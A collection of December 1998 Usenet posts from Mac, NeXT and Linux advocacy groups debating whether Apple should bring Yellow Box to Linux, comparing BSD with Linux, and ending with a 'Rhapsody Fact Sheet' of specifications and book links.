Message-ID: <75u9st$20t$1@52-a-usw.rb1.blv.nwnexus.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <368209cf.0@stan.astra.co.uk>
Cache-Post-Path: 52-a-usw.rb1.blv.nwnexus.net!tzs@localhost
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>Now there's another clue for those that want YB/Linux: if you want to make a
>sound business case, i.e. one which will earn Apple money, suggest a runtime
>fee. But then I recall so many people saying that Linux folks won't pay for
>software...
I didn't suggest they make YB for Linux. My suggestion is that they change
the existing MacOS so that it can run on top of LinuxPPC, much like they did
with System 7 and A/UX. Apple could then make their own minimal LinuxPPC
distribution, and ship Macs preconfigured with that distribution and MacOS
running as a process under LinuxPPC. YB dies.
--Tim Smith
From: posterkid@psnw.com (posterkid)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: 24 Dec 1998 21:05:06 GMT
Organization: hard ass net.fascists
Message-ID: <slrn785b42.dl4.posterkid@mammoth.psnw.com>
References: <ol_f2.207$G92.1825@typhoon-sf.snfc21.pbi.net> <slrn782flu.2vn.posterkid@mammoth.psnw.com> <iDcg2.407$G92.5290@typhoon-sf.snfc21.pbi.net>
Mail-Copies-To: never
ix@ix.ix <ix@ix.ix> wrote:
>On 12/23/98, posterkid wrote:
>>ix@ix.ix <ix@ix.ix> wrote:
>>>OSX is already on BSD Unix. What is the significant difference between BSD and
>>>Linux other than hype? I doubt most Linux users have a good answer for
>>>this question.
>>
>>BSD has a better networking layer, Linux has a larger support base and
>>potential for future growth due to this support base. BSD does a lot
>>of things differently, if you aren't only talking about the kernel (init,
>>various program flags, their own libc).
>
>A friend of mine runs Linux executables on FreeBSD. I would guess that OSX
>will be able to do the same(?) So what is to be gained (other than hype) by
>moving to Linux? Not that hype isn't valuable, it does after all drive most
>of the industry. But technicaly, what's the difference that is relevant to OSX?
And I can run BSD (or SCO, or...) executables on Linux. As for OSX being
able to do the same, that's up to Apple. If they stick with being BSD
based and have a Un*xlike system underneath their hood, there's no reason
at all that a method to run Linux binaries won't be found rather easily.
Ditto any other Un*xlike system, I suppose.
As for what is to be gained, well, that's not really measurable. The huge
army of Linux zealots would probably be really happy. :) There are quite
simply more people hacking on Linux than on BSD, so it seems like it might
be better for Apple in that way.
However, Linux is under the GPL, which many businesses see as poison (NOT
TRYING TO START A FLAMEWAR), where the BSD license does not have the
requirement of open source code. I think this is probably a large factor
in Apple using BSD here.
>Why not just rename the Mach/BSD layer "AppleLinux X" or something and cash
>in on the Linux religion, in the same way that NeXTstep was renamed Mac OS X to
>cash in on the Mac religion?
Because that would be dishonest and not work. The people who truly are
Linux zealots would know that it isn't Linux. <shrug>
--
GPG & PGP public keys: <URL:http://www.psnw.com/~posterkid/keys/>
PGP fingerprint: 42 57 B3 D2 39 8E 74 C3 5E 4D AC 43 25 D2 26 D4
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Thu, 24 Dec 1998 13:16:53 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <75u94d$1rg$1@52-a-usw.rb1.blv.nwnexus.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2412981316530001@1cust46.tnt6.redmond.wa.da.uu.net>
>The business case is that it lets Apple get out of the OS market, where they
>are not very strong technically (MacOS (the OS part, not the GUI part) is
>technically inferior to Linux, *BSD, BeOS, Windows NT, Windows 95, OS/2,
>and QNX).
>
Apparently you don't understand the difference between MacOS and Mac OS X/S.
>Before Linux and the free BSD's, it may have been necessary for Apple to
>have their own OS to run their GUI on, because running on top of another
>OS would mean having to license that OS, and being at the mercy of its
>owner, but with Linux, they don't have to worry about that.
>
With a BSD/Mach core, they get the best of both worlds. By Open Sourcing
those coreOS layers, they would also benefit. But what people here seem
to want is the GUI and YellowBox APIs.
--
regards : colin hand : mailto:ch3@earthlink.net
From: "Eric Hutchinson" <gemhutch@pond.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com> <73ctj7$ik0$1@nnrp1.dejanews.com> <rbarris-ya023280002311981637350001@206.82.216.1> <365B10DD.43341843@spamtoNull.com> <19981124181652165544@ts1-13.aug.com> <365B5B6B.CF42B4BB@gamewood.net> <366C1257.470882A1@klassy.com> <3682B7E2.C36D8DB7@ix.netcom.com> <slrn7848h4.lhc.arehartj@schultz.io.com>
Subject: Re: The real cause of PC victory
Message-ID: <0zyg2.1434$1p1.8787@news12.ispnews.com>
NNTP-Posting-Date: Thu, 24 Dec 1998 16:42:20 EDT
Organization: ISPNews http://ispnews.com
Date: Thu, 24 Dec 1998 13:33:54 -0800
Jonathan Arehart wrote in message ...
>On Thu, 24 Dec 1998 15:53:38 -0600, Z1159 <z1159@ix.netcom.com> wrote:
(Snip snip snip....ouch, I cut myself)
>
>"art faegs"?
Hey meathead :) !, say it like Archie Bunker. Now I'll stifle myself.
Get outta my chair,
Eric
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Thu, 24 Dec 1998 13:49:45 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net>
>Apple could make money by gaining new customers and developers. There, never
>again make that stupid-as-my-ass complaint again, Colin.
I think that you've already conceded that Linux developers will not
accept binary distributions. By that, what you are asking for is an
OpenSource YellowBox. Now, make the 'stupid-as-your-ass' *business* case.
>Now I've got to be the target of such machinations and I don't like it one bit.
As it stands, there is only one OpenSource proposal that makes sense for the
NeXT-derived technologies. OpenMach is that proposal. You are welcome to
question it's merits, but the fact is that OpenMach has an actual draft that
you or I can read; YB/Linux does not.
--
regards : colin hand : mailto:ch3@earthlink.net
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 24 Dec 1998 22:50:37 GMT
Organization: Primenet (602)416-7000
Message-ID: <75ugft$4h8$1@nnrp02.primenet.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net>
<75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net>
Responding to someone, c hand <ch3@earthlink.net.rem.ove.this> wrote:
: I think that you've already conceded that Linux developers will not
: accept binary distributions. By that, what you are asking for is an
: OpenSource YellowBox. [...]
Why do people make up this bit about Linux developers not accepting binary
distributions? Is it just because it conveniently shores up some
position?
Sun's Java JDK was successful on Linux before it headed towards Open
Source. Netscape was successful on Linux before it was Open Source.
Realaudio is successful now, without being Open Source. I'm sure if you
look you can find some more examples.
I don't particularly care if Apple packages any software for the Linux
market, but it annoys me to see this straw dog trotted out by those in
opposition.
John
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Thu, 24 Dec 1998 15:40:45 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net>
>I don't particularly care if Apple packages any software for the Linux
>market, but it annoys me to see this straw dog trotted out by those in
>opposition.
In Michael's case, and others, I believe they have strongly stated
their opposition to proprietary technologies. In addition, if a
significant amount of the proposed users would reject the technology
because of it's proprietary nature, the reasons for investing in the
port become even less attractive.
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Thu, 24 Dec 1998 15:53:34 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net>
>Rather than simply saying, "There's
>too much uncertainty, I won't even consider the idea," which would at least
>admit the propriety of third-party discussion, you can't seem to quit your
>fervent *denial* of the Linux-YB notion.
In the interest of continuing the discussion, let me pose these questions to
you Michael: Why Linux? You claimed before that you had no interest in working
with closed systems. If that is the case, why not throw your support behind the
OpenMach/BSD proposal?
I supose I'd like your explanation of why it would be more beneficial to Apple
to provide Linux with YellowBox rather than BSD/Mach.
--
regards : colin hand : mailto:ch3@earthlink.net
####################################################################
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Thu, 24 Dec 1998 19:05:40 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3682E4E4.BAA11613@ericsson.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net>
Mime-Version: 1.0
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c hand wrote:
>
> >I don't particularly care if Apple packages any software for the Linux
> >market, but it annoys me to see this straw dog trotted out by those in
> >opposition.
>
> In Michael's case, and others, I believe they have strongly stated
> their opposition to proprietary technologies.
I've never done so. I believe I've spent many an hour here defending
numerous proprietary technologies.
> In addition, if a
> significant amount of the proposed users would reject the technology
> because of it's proprietary nature, the reasons for investing in the
> port become even less attractive.
Less attractive than what? Again, nothing concrete upon which to hang a
rebuttal, if there were any such thing forthcoming.
MJP
d to prove.
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Thu, 24 Dec 1998 19:03:25 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3682E45D.75C333DA@ericsson.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net>
<75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com>
Mime-Version: 1.0
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John Jensen wrote:
>
> Responding to someone, c hand <ch3@earthlink.net.rem.ove.this> wrote:
> : I think that you've already conceded that Linux developers will not
> : accept binary distributions. By that, what you are asking for is an
> : OpenSource YellowBox. [...]
>
> Why do people make up this bit about Linux developers not accepting binary
> distributions? Is it just because it conveniently shores up some
> position?
Presumably.
> Sun's Java JDK was successful on Linux before it headed towards Open
> Source. Netscape was successful on Linux before it was Open Source.
> Realaudio is successful now, without being Open Source. I'm sure if you
> look you can find some more examples.
A development layer like Yellow Box would probably need either an Open
Source license or an open specification. Sun's Java JDK fits this
description in terms of an open specification. Qt fits this description
in terms of Open Source. I make no claim for non-development-related
software; WordPerfect 8 for Linux was DOWNLOAD.COM's #2 download this
past week.
> I don't particularly care if Apple packages any software for the Linux
> market, but it annoys me to see this straw dog trotted out by those in
> opposition.
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Thu, 24 Dec 1998 19:09:37 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3682E5D1.320B0905@ericsson.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net>
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c hand wrote:
> In the interest of continuing the discussion, let me pose these questions to
> you Michael: Why Linux? You claimed before that you had no interest in working
> with closed systems. If that is the case, why not throw your support behind the
> OpenMach/BSD proposal?
Because I use Linux, I know Linux, I like Linux, and I develop for
Linux. Are those good reasons?
Oh hell, why not some more? Linux is freely available, and has been for
5 years. Linux grew 212% in retail sales alone last year. Linux has over
9 million users, by estimates. Linux has a flourishing software market
with thousands upon thousands of developers. Linux is stable and
well-known and has a cohesive community to support it. Linux has
visibility and brand-name and tremendous momentum.
None of which can be said of either BSD/Mach or Mac OS X.
> I supose I'd like your explanation of why it would be more beneficial to Apple
> to provide Linux with YellowBox rather than BSD/Mach.
You have it. You already had it.
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 24 Dec 1998 19:13:31 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3682E6BB.6C552445@ericsson.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <slrn77dv97.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <3677050B.69FE4314@nstar.net> <slrn77e2hk.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <36793872.1759FF5@nstar.net> <slrn782nub.94k.SPAMBGONEmbkennelSPAMBGONE@lyapunov.ucsd.edu>
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Matt Kennel wrote:
> You've already said you didn't like the NeXTSTEP UI; does this apply
> to the MacOS UI too? You've said you didn't like too many
> user-friendly features hiding the underlying UNIX on NeXTSTEP. It
> seems that MacOS X will follow this path to an even greater extent, on
> account of the very large Mac userbase. Apple knows where its money
> comes from.
>
> This is why I suspect you wouldn't like Mac OS X.
Okay. You asked what I wanted. You've assured me I won't get what I
want, so. Was your point to turn off yet another person in this
newsgroup, or did you have some other point to make? Silly me, NeXT
people *always* have a point to make.
> We're not Apple salesmen, just computer users and programmers.
>
> I use Linux, I like it. It would be nice to have YB on Linux.
>
> I doubt that Apple has the money or time to complete this in the near
> future.
>
> Personally, I liked the NeXTSTEP UI, and apparently so do many Linux
> users, as WindowMaker and Afterstep are quite popular window managers,
> despite providing only a thin veneer of the NeXT look.
So they like the look. What does that have to do with the UI?
MJP
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Thu, 24 Dec 1998 17:17:52 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net>
>I've never done so. I believe I've spent many an hour here defending
>numerous proprietary technologies.
Very well.
>Less attractive than what? Again, nothing concrete upon which to hang a
>rebuttal, if there were any such thing forthcoming.
>
Less attractive than completing "in progress" efforts and bringing the
full AppKit/YB to Solaris and HP/UX(which was already done for OpenStep
before.) Solaris, like Win*, is in markets that Apple can transition
into via their software products. These markets do not compete head-on
with Apple's. A YB/Linux would.
--
regards : colin hand : mailto:ch3@earthlink.net
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 25 Dec 1998 01:29:46 GMT
Organization: Primenet (602)416-7000
Message-ID: <75upqa$47f$1@nnrp03.primenet.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net>
<75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net>
c hand <ch3@earthlink.net.rem.ove.this> wrote:
: >I don't particularly care if Apple packages any software for the Linux
: >market, but it annoys me to see this straw dog trotted out by those in
: >opposition.
: In Michael's case, and others, I believe they have strongly stated
: their opposition to proprietary technologies. In addition, if a
: significant amount of the proposed users would reject the technology
: because of it's proprietary nature, the reasons for investing in the
: port become even less attractive.
Does this strongly stated opposition make the JDK, Netscape Navigator, and
RealAudio any less popular?
A few tidbits:
In the last nine days there have been 227,333 downloads of a proprietary,
binary-only, Corel WordPerfect 8.0 for Linux:
http://www.download.com/PC/Result/TitleDetail/0,4,0-42505-g,1000.html
Informix and Oracle continue their proprietary Linux plans:
http://www.newsalert.com/bin/story?StoryId=CnNIp0bKbyteWodq
http://www.newsalert.com/bin/story?StoryId=CnN3v0bWbu0znmdu4
While SQRIBE announces a new enterprise reporting system:
http://www.newsalert.com/bin/story?StoryId=CnN8NubKbytaWnJC
Look around,
John
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Thu, 24 Dec 1998 17:40:37 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net>
>Less attractive than completing "in progress" efforts and bringing the
>full AppKit/YB to Solaris and HP/UX(which was already done for OpenStep
>before.) Solaris, like Win*, is in markets that Apple can transition
>into via their software products. These markets do not compete head-on
>with Apple's. A YB/Linux would.
Just in case this causes confusion, I'd like to clarify: HP/UX and
Solaris do not compete head-on with Apple. Win* obviously does.
HP/UX and Solaris both have major components of YellowBox already
completed(FoundationKit, EOF, PDO.) Adding AppKit would not add
competition against Apple's desktop market; instead it would create
new markets. Linux, OTOH, would likely compete with Apple's desktop
sales.
--
regards : colin hand : mailto:ch3@earthlink.net
Subject: Re: Apple-M$: Linux Nightmare?
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <ol_f2.207$G92.1825@typhoon-sf.snfc21.pbi.net> <slrn782flu.2vn.posterkid@mammoth.psnw.com> <iDcg2.407$G92.5290@typhoon-sf.snfc21.pbi.net> <slrn785b42.dl4.posterkid@mammoth.psnw.com>
In-Reply-To: <slrn785b42.dl4.posterkid@mammoth.psnw.com>
From: ix@ix.ix
Message-ID: <7PTg2.12642$G92.10201@typhoon-sf.snfc21.pbi.net>
Date: Fri, 25 Dec 1998 21:53:07 GMT
NNTP-Posting-Date: Fri, 25 Dec 1998 13:53:07 PDT
Organization: SBC Internet Services
On 12/24/98, posterkid wrote:
>ix@ix.ix <ix@ix.ix> wrote:
>>Why not just rename the Mach/BSD layer "AppleLinux X" or something and cash
>>in on the Linux religion, in the same way that NeXTstep was renamed Mac OS X to
>>cash in on the Mac religion?
>
>Because that would be dishonest and not work. The people who truly are
>Linux zealots would know that it isn't Linux. <shrug>
On a seperate project Apple already replaced the Linux kernal with Mach
and still called it Linux. If Linux isn't a kernal, what is it? The rest
varies between so-called Linux distributions(RedHat, Debain, etc), doesn't it?
Steve
From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody Fact Sheet
Date: 25 Dec 1998 12:41:03 GMT
Organization: AOL http://www.aol.com
Message-ID: <19981225074103.01151.00001475@ng-ca1.aol.com>
RHAPSODY FACT SHEET
The following is an operating system FACT SHEET on RHAPSODY. A Fact Sheet is
an organized summary of information and complements the more common FAQ
(Frequently Asked Questions). This Fact Sheet derived from
<http://www.honeycomb.net/os/oses/rhapsody.htm>. Report any errors, ommissions,
corrections, additions, etc. to <MerefBast@aol.com>.
Rhapsody (<a
href="http://www.honeycomb.net/os/oses/rhapsody.htm">http://www.honeycomb.
net/os/oses/rhapsody.htm</a>)
also: Mac OS X Server or MXS
<p align=center>See also: <a
href="http://www.honeycomb.net/os/oses/mac.htm">Macintosh</a>, <a
href="http://www.honeycomb.net/os/oses/macosx.htm">Mac OS X</a>, and <a
href="http://www.honeycomb.net/os/oses/next.htm">NeXT</a>
SUMMARY
Rhapsody is a UNIX-based operating system that includes capabilities from
the NeXT and Macintosh operating systems. Rhapsody is made by Apple Computers
and will run on Intel Pentium and Motorola/IBM PowerPC and will have a Run Time
Library for Windows.
Kind of OS: proprietary UNIX
Release Date: Early adaptor's version scheduled for January 1998; full
commercial release scheduled for Spring 1998
Current Version: DR 3
Cost: Not announced yet
Hardware Supported: IBM/Motorola PowerPC, Intel Pentium (See also <a
href="http://www.honeycomb.net/os/holistic/hardware/hardware.htm">http://w
ww.honeycomb.net/os/holistic/hardware/hardware.htm</a>)
Maximum Number of Processors: unknown
Number of bits: unknown
Kernel: MACH (MACH 2.5 with custom modifications)
POSIX: compatible
Peripherals: unknown
File Systems Supported:
preferred file system: HFS+
file systems can read/write/format: HFS+, HFS, FAT, UFS
file systems can read/write: FAT32, VFAT
file systems read only and can write through optional software: ISO 9660
(See also: <a
href="http://www.honeycomb.net/os/holistic/connect/filesys.htm">File Systems
Supported</a>)
Graphics Engine: Display PostScript
User Interface (text): UNIX shells
User Interface (graphic): unknown
REFERENCES
References Within This Web Site
<a href="http://www.honeycomb.net/os/rhapsody.htm">Rhapsody</a>
<a href="http://www.honeycomb.net/os/macosx.htm">Mac OS X</a>
<a href="http://www.honeycomb.net/os/holistic/cost/cost.htm">Cost</a>
<a
href="http://www.honeycomb.net/os/holistic/hardware/hardware.htm">Hardware
Supported</a>
<a
href="http://www.honeycomb.net/os/holistic/integrat/integrat.htm">Hardware
-Software Integration</a>
<a href="http://www.honeycomb.net/os/holistic/connect/filesys.htm">File
Systems Supported</a>
FURTHER READING: WEB SITES
Please send recommendations on additional URLs to <a
href="mailto:MerefBast@aol.com">MerefBast@aol.com</a>.
Official Web Sites: none listed
FAQs (Frequently Asked Questions): none listed
User Group Web Sites
<a href="http://www.lamg.org/">Los Angeles Macintosh Group</a>
Other Related Web Sites
<a href="http://kirch.net/unix-nt/">http://kirch.net/unix-nt/</a> John
Kirch's article "Microsoft Windows NT Server 4.0 versus UNIX"
FURTHER READING: BOOKS
For more UNIX book listings, see also the general <a
href="http://www.honeycomb.net/os/oses/unix.htm#UNIXbooks">book listings</a> on
the UNIX web page.
Further Reading: Books: Introductory/General
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0805375651/
operatingsystemc">A Practical Guide to the Unix System</a>; by Mark G. Sobell;
Addison-Wesley Pub Co; October 1994; ISBN 0805375651; paperback; 800 pages;
$37.95
Further Reading: Books: Administration
<A HREF="http://www.amazon.com/exec/obidos/ASIN/1565921275/
operatingsystemc">Essential System Administration: Help for Unix System
Administrators</a> (Nutshell Handbook); 2nd edition; by AEleen Frisch; O'Reilly
& Associates; December 1996; ISBN 1565921275; paperback; 788 pages; $27.96
<A HREF="http://www.amazon.com/exec/obidos/ASIN/078211931X/
operatingsystemc">The Complete Guide to Netware 4.11/Intranetware</a>; 2nd
edition; by James E. Gaskin; Sybex; December 1996; ISBN 078211931X; paperback;
$47.99; includes information on getting NetWare working with Windows,
Macintosh, UNIX, and OS/2
Further Reading: Books: Internet
<A HREF="http://www.amazon.com/exec/obidos/ASIN/1562054945/
operatingsystemc">Building a Unix Internet Server</a>; by George Eckel; New
Riders Publishing; June 1995; ISBN 1562054945; paperback (with CD-ROM); 325
pages; $30.40
Further Reading: Books: Enterprise/Business
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0471308595/
operatingsystemc">Openstep for Enterprises</A>; by Nancy Knolle Craighill; John
Wiley & Sons; October 1996; ISBN 0471308595; 245 pages; $27.96
<A HREF="http://www.amazon.com/exec/obidos/ASIN/038794852X/
operatingsystemc">Developing Business Applications With Openstep:</A> With 37
Illustrations; by Peter Clark, Nik Gervae; Springer Verlag; December 1996; ISBN
038794852X; Paperback; 275 pages; $43.95
Further Reading: Books: Content Creation
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0201885980/
operatingsystemc">Beyond the Mac Is Not a Typewriter: More Typographic Insights
and Secrets</a>; by Robin Williams; Peachpit Press; January 1996; ISBN
0201885980; paperback; 222 pages; $13.56
Further Reading: Books: Programming
<A HREF="http://www.amazon.com/exec/obidos/ASIN/038794852X/
operatingsystemc">Developing Business Applications With Openstep:</A> With 37
Illustrations; by Peter Clark, Nik Gervae; Springer Verlag; December 1996; ISBN
038794852X; Paperback; 275 pages; $43.95
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0471308595/
operatingsystemc">Openstep for Enterprises</A>; by Nancy Knolle Craighill; John
Wiley & Sons; October 1996; ISBN 0471308595; 245 pages; $27.96
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0122513347/
operatingsystemc">Rhapsody Developer's Guide: Developer's Guide</A>; by Jesse
Feiler; Ap Professional; August 1997; ISBN 0122513347; Paperback; $31.96
<A HREF="http://www.amazon.com/exec/obidos/ASIN/0201563177/
operatingsystemc">Advanced Programming in the Unix Environment</a>
(Addison-Wesley Professional Computing Series); by W. Richard Stevens;
Addison-Wesley Pub Co; June 1992; ISBN 0201563177; hardcover; 744 pages; $63.95
<A HREF="http://www.amazon.com/exec/obidos/ASIN/1558515054/
operatingsystemc">Metrowerks Codewarrior Programming</a>; by Dan Parks Sydow;
IDG Books Worldwide; December 1996; ISBN 1558515054; paperback; 538 pages (with
CD-ROM); $31.96
<A HREF="http://www.amazon.com/exec/obidos/ASIN/155558134X/
operatingsystemc">Software Implementation Techniques: Writing Software in
OpenVMS, OS/2, Unix, and Windows NT</a>; 2nd edition; by Donald E. Merusi;
Digital Press; November 1995; ISBN 155558134X; paperback; 567 pages; $52.95
In Association with Amazon.com; If you want your book reviewed, please send
a copy to: Milo, POB 1361, Tustin, CA 92781, USA.
